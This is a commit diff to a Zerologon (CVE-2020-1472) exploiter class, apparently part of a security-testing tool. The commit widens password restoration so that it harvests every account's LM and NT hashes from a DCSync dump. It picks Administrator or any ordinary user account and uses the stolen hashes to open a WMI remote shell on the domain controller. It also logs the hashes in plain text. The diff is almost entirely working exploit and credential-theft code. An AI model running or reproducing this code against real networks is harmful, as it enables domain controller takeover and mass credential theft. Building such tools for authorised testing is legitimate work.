restoring pwd: uses next available user account in case Administrator isn't found
and save all other credentials
This commit is contained in:
parent
c20e677940
commit
e0ae8381ba
|
@ -5,8 +5,9 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
|
|||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
from typing import List, Optional
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
import impacket
|
||||
from impacket.dcerpc.v5 import nrpc
|
||||
|
@ -64,9 +65,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
# Restore DC's original password.
|
||||
if _exploited:
|
||||
is_pwd_restored, restored_pwd_hashes = self.restore_password()
|
||||
if is_pwd_restored:
|
||||
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
|
||||
if self.restore_password():
|
||||
LOG.info("System exploited and password restored successfully.")
|
||||
else:
|
||||
LOG.info("System exploited but couldn't restore password!")
|
||||
|
@ -138,22 +137,22 @@ class ZerologonExploiter(HostExploiter):
|
|||
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
||||
return _exploited
|
||||
|
||||
def restore_password(self) -> (Optional[bool], List[str]):
|
||||
def restore_password(self) -> bool:
|
||||
LOG.info("Restoring original password...")
|
||||
|
||||
try:
|
||||
admin_pwd_hashes = None
|
||||
rpc_con = None
|
||||
|
||||
# DCSync to get Administrator password's hashes.
|
||||
LOG.debug("DCSync; getting Administrator password's hashes.")
|
||||
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
||||
if not admin_pwd_hashes:
|
||||
raise Exception("Couldn't extract Administrator password's hashes.")
|
||||
# DCSync to get some username and its password's hashes.
|
||||
LOG.debug("DCSync; getting some username and its password's hashes.")
|
||||
user_details = self.get_user_details()
|
||||
if not user_details:
|
||||
raise Exception("Couldn't extract username and/or its password's hashes.")
|
||||
|
||||
# Use Administrator password's NT hash to get original DC password's hashes.
|
||||
# Use above extracted credentials to get original DC password's hashes.
|
||||
LOG.debug("Getting original DC password's NT hash.")
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes))
|
||||
username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
|
||||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||
|
||||
|
@ -162,7 +161,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False, admin_pwd_hashes
|
||||
return False
|
||||
|
||||
# Start restoration attempts.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
|
@ -170,17 +169,17 @@ class ZerologonExploiter(HostExploiter):
|
|||
if not _restored:
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
|
||||
return _restored, admin_pwd_hashes
|
||||
return _restored
|
||||
|
||||
except Exception as e:
|
||||
LOG.error(e)
|
||||
return None, admin_pwd_hashes
|
||||
return False
|
||||
|
||||
finally:
|
||||
if rpc_con:
|
||||
rpc_con.disconnect()
|
||||
|
||||
def get_admin_pwd_hashes(self) -> List[str]:
|
||||
def get_user_details(self) -> (str, Dict):
|
||||
try:
|
||||
options = OptionsForSecretsdump(
|
||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
|
@ -192,13 +191,21 @@ class ZerologonExploiter(HostExploiter):
|
|||
username=f"{self.dc_name}$",
|
||||
options=options)
|
||||
|
||||
user = 'Administrator'
|
||||
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
||||
return hashes # format - [lmhash, nthash]
|
||||
extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||
|
||||
admin = 'Administrator'
|
||||
if admin in extracted_creds:
|
||||
return admin, extracted_creds[admin]
|
||||
else:
|
||||
for user in extracted_creds.keys():
|
||||
if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts
|
||||
return user, extracted_creds[user]
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
||||
|
||||
return None
|
||||
|
||||
def get_dumped_secrets(self,
|
||||
remote_name: str = '',
|
||||
username: str = '',
|
||||
|
@ -209,17 +216,35 @@ class ZerologonExploiter(HostExploiter):
|
|||
dumped_secrets = dumper.dump().split('\n')
|
||||
return dumped_secrets
|
||||
|
||||
@staticmethod
|
||||
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]:
|
||||
for secret in secrets:
|
||||
if user in secret:
|
||||
# format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||
hashes = secret.split(':')[2:4]
|
||||
return hashes # format - [lmhash, nthash]
|
||||
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
|
||||
extracted_creds = {}
|
||||
|
||||
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None:
|
||||
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
||||
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
|
||||
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
||||
re_phrase =\
|
||||
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
|
||||
|
||||
for line in dumped_secrets:
|
||||
secret = re.fullmatch(pattern=re_phrase, string=line)
|
||||
if secret:
|
||||
parts_of_secret = secret[0].split(':')
|
||||
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
|
||||
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||
|
||||
extracted_creds[user] = {'RID': int(user_RID), # relative identifier
|
||||
'lm_hash': lmhash,
|
||||
'nt_hash': nthash}
|
||||
|
||||
self.store_extracted_creds_for_exploitation(extracted_creds)
|
||||
return extracted_creds
|
||||
|
||||
def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None:
|
||||
for user in extracted_creds.keys():
|
||||
self.add_extracted_creds_to_exploit_info(user,
|
||||
extracted_creds[user]['lm_hash'],
|
||||
extracted_creds[user]['nt_hash'])
|
||||
self.add_extracted_creds_to_monkey_config(user,
|
||||
extracted_creds[user]['lm_hash'],
|
||||
extracted_creds[user]['nt_hash'])
|
||||
|
||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||
self.exploit_info['credentials'].update({
|
||||
|
@ -242,8 +267,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||
|
||||
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str:
|
||||
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
||||
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str:
|
||||
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||
return
|
||||
|
||||
try:
|
||||
|
@ -268,12 +293,12 @@ class ZerologonExploiter(HostExploiter):
|
|||
finally:
|
||||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
||||
LOG.debug("Starting remote shell on victim.")
|
||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
|
||||
LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ")
|
||||
|
||||
wmiexec = Wmiexec(ip=self.dc_ip,
|
||||
username='Administrator',
|
||||
hashes=admin_pwd_hashes,
|
||||
username=username,
|
||||
hashes=user_pwd_hashes,
|
||||
domain=self.dc_ip)
|
||||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
|
|
Loading…
Reference in New Issue